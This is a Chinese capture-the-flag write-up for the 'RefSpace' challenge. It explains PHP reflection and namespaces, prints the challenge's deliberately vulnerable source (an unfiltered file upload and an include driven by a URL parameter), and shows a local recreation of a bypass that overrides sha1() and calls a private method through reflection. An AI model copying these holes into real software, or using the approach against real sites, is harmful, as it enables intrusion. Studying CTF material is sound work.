国赛中 RefSpace 那道题的 wp 与研究。
[TOC]
国赛 day2 出现了一道比较有意思的题,最后貌似只有5人能解出。赛时我尝试通过覆写函数来实现直接 getFlag ,最后发现自己还是太年轻了,预期解应该就是通过 php 反射类来覆写 namespace 中的sha1()
函数来达到 getFlag。
所以整个题解题思路大致是:
- 通过 phar/zip 协议,绕过上传点拿到 webshell
- 通过 php 反射类覆写
sha1
函数 getFlag 让我们首先来了解一下 php 反射
Reflection
{% colorquote success %}
PHP 5 具有完整的反射 API,添加了对类、接口、函数、方法和扩展进行反向工程的能力。 此外,反射 API 提供了方法来取出函数、类和方法中的文档注释。
请注意部分内部 API 丢失了反射扩展工作所需的代码。 例如,一个内置的 PHP 类可能丢失了反射属性的数据。这些少数的情况被认为是错误,不过, 正因为如此,它们应该被发现和修复。
{% endcolorquote %}
反射,直观理解就是根据到达地找到出发地和来源。比如,一个光秃秃的对象,我们可以仅仅通过这个对象就能知道它所属的类、拥有哪些方法。
GET
在Reflection Class中我们可以看到很多比较有趣的 api ,例如 getProperties
官方文档也给出了例子:
<?php
class Foo {
public $foo = 1;
protected $bar = 2;
private $baz = 3;
}
$foo = new Foo();
$reflect = new ReflectionClass($foo);
$props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED);
foreach ($props as $prop) {
print $prop->getName() . "\n";
}
var_dump($props);
?>
OutPut:
foo
bar
array(2) {
[0]=>
object(ReflectionProperty)#3 (2) {
["name"]=>
string(3) "foo"
["class"]=>
string(3) "Foo"
}
[1]=>
object(ReflectionProperty)#4 (2) {
["name"]=>
string(3) "bar"
["class"]=>
string(3) "Foo"
}
}
读取私有成员变量
如果想要输出私有变量,就加上ReflectionProperty::IS_PRIVATE
即可。
执行私有函数
既然可以拿到类成员的值,那么函数返回值能不能拿到呢?
当然是可以的
class Foo {
private function showFlag(){
return 'This is not flag';
}
}
$reflectionMethod = new ReflectionMethod('Foo', 'showFlag');
$reflectionMethod->setAccessible(true);
echo $reflectionMethod->invoke(new Foo());
OutPut:
This is not flag
SET
修改类的成员变量
利用ReflectionProperty::setValue
可以修改成员变量,可以参考官方文档给出示例,这里也给一个例子,修改 private 或者 protected 类型的变量也要加上setAccessible(true)
,否则会报错
class Foo {
public $foo = 1;
protected $bar = 2;
private $baz = 3;
}
$foo = new Foo();
$reflect = new ReflectionClass($foo);
//change foo fron 1 to 5
$reflect->getProperty('foo')->setValue($foo, '5');
//change baz from 3 to 4
$baz = $reflect->getProperty('baz');
$baz->setAccessible(true);
$baz->setValue($foo, '4');
//Output
$props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED | ReflectionProperty::IS_PRIVATE);
foreach ($props as $prop) {
$prop->setAccessible(true);
print $prop->getName() . "\n";
print $prop->getValue($foo)."\n";
}
Output:
foo 5 bar 2 baz 4
修改函数返回值
并不能直接修改函数返回值
Namespace
这里简单提一下 php 中的 namespace 命名空间,简单来说 php 命名空间为了解决的就是覆写 php 内部函数的问题,详细可以参考命名空间概述。
举个例子:
namespace Foo;
function sha1($key){
return "This is Foo sha1";
}
var_dump(sha1('1'));
var_dump(\sha1('1'));
Output:
/test.php:6:string 'This is Foo sha1' (length=18)
/test.php:7:string '356a192b7913b04c54574d18c28d46e6395428ab' (length=40)
RefSpace
接着我们来看看这个题,首先通过一系列操作 getshell ,参考 zip或phar协议包含文件,这里就略过了,都是重复性简单的操作,得到以下源码
app/index
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
?>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
Hi CTFer,<br />
这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
Powered by Aoisystem<br />
<!-- error_reporting(E_ALL); -->
</body>
</html>
app/Up10aD
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
default:
echo "Only gif/jpg allowed";
exit();
}
$dst = "upload/" . $_FILES["file"]["name"] . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
echo "文件保存位置: {$dst}<br />";
}
?>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
我们不能让选手轻而易举的搜索到上传接口。<br />
即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪
<form method="post" enctype="multipart/form-data">
<label for="file">来选择你的文件吧:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
index.php
<?php
error_reporting(E_ALL);
define('LFI', 'LFI');
$lfi = $_GET['route'] ?? false;
if (!$lfi) {
header("location: ?route=app/index");
exit();
}
include "{$lfi}.php";
//Good job, you know how to use LFI, don't you?
//But You are still far from flag
//hint: ?router=app/flag
app/flag
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!$key) {
echo "Please provide access key<br \>";
echo '$_GET["key"];';
exit();
}
$flag = $sdk->verify($key);
if ($flag) {
echo $flag;
} else {
echo "Wrong Key";
exit();
}
//Do you want to know more about this SDK?
//we 'accidentally' save a backup.zip for more information
sdk 开发文档.txt:
我们的SDK通过如下SHA1算法验证key是否正确:
public function verify($key)
{
if (sha1($key) === $this->getHash()) {
return "too{young-too-simple}";
}
return false;
}
如果正确的话,我们的SDK会返回flag。
PS: 为了节省各位大佬的时间,特注明
1.此处函数return值并不是真正的flag,和真正的flag没有关系。
2.此处调用的sha1函数为PHP语言内建的hash函数。(http://php.net/manual/zh/function.sha1.php)
3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。
4.几乎大部分源码内都有一定的hint,如果您是通过扫描目录发现本文件的,您可能还有很长的路要走。
所以这里重点就是 flag.php 了,之前我们提到过可以在命名空间覆写函数,可是即使可以覆写,那要怎么绕过verify
这个函数呢?
Invoke
我们可以发现在verify
函数中,getHash()
函数并没有传参,很有可能就是直接返回了一个固定值或者随机值什么的,那我们是不是可以利用反射类来执行getHash()
函数,覆写sha1()
函数绕过verify
判断呢?
于是我们可以操作一波
<?php
namespace interesting;
class FlagSDK{
private function getHash(){
return \sha1('test');
}
public function verify($key)
{
if (sha1($key) === $this->getHash()) {
return "flag{xxx}";
}
return false;
}
}
$sdk = new FlagSDK();
function sha1($key){
$reflectionMethod = new \ReflectionMethod('interesting\FlagSDK', 'getHash');
$reflectionMethod->setAccessible(true);
return $reflectionMethod->invoke(new FlagSDK());
}
$flag = $sdk->verify('1');
if ($flag) {
echo $flag;
} else {
echo "Wrong Key";
exit();
}
基本构造如上,由于环境已经关了,只能本地实现以下,思路就是以上说的通过反射类来覆写 namespace 的sha1
函数来达到绕过效果
做题的时候 flag.php 是有写权限的,所以我们只要把sha1
代码写入 flag.php 就可以了
function sha1($key){
$reflectionMethod = new \ReflectionMethod('interesting\FlagSDK', 'getHash');
$reflectionMethod->setAccessible(true);
return $reflectionMethod->invoke(new FlagSDK());
}
当然,也可以像 @zsx 师傅一样手撕加密 orz …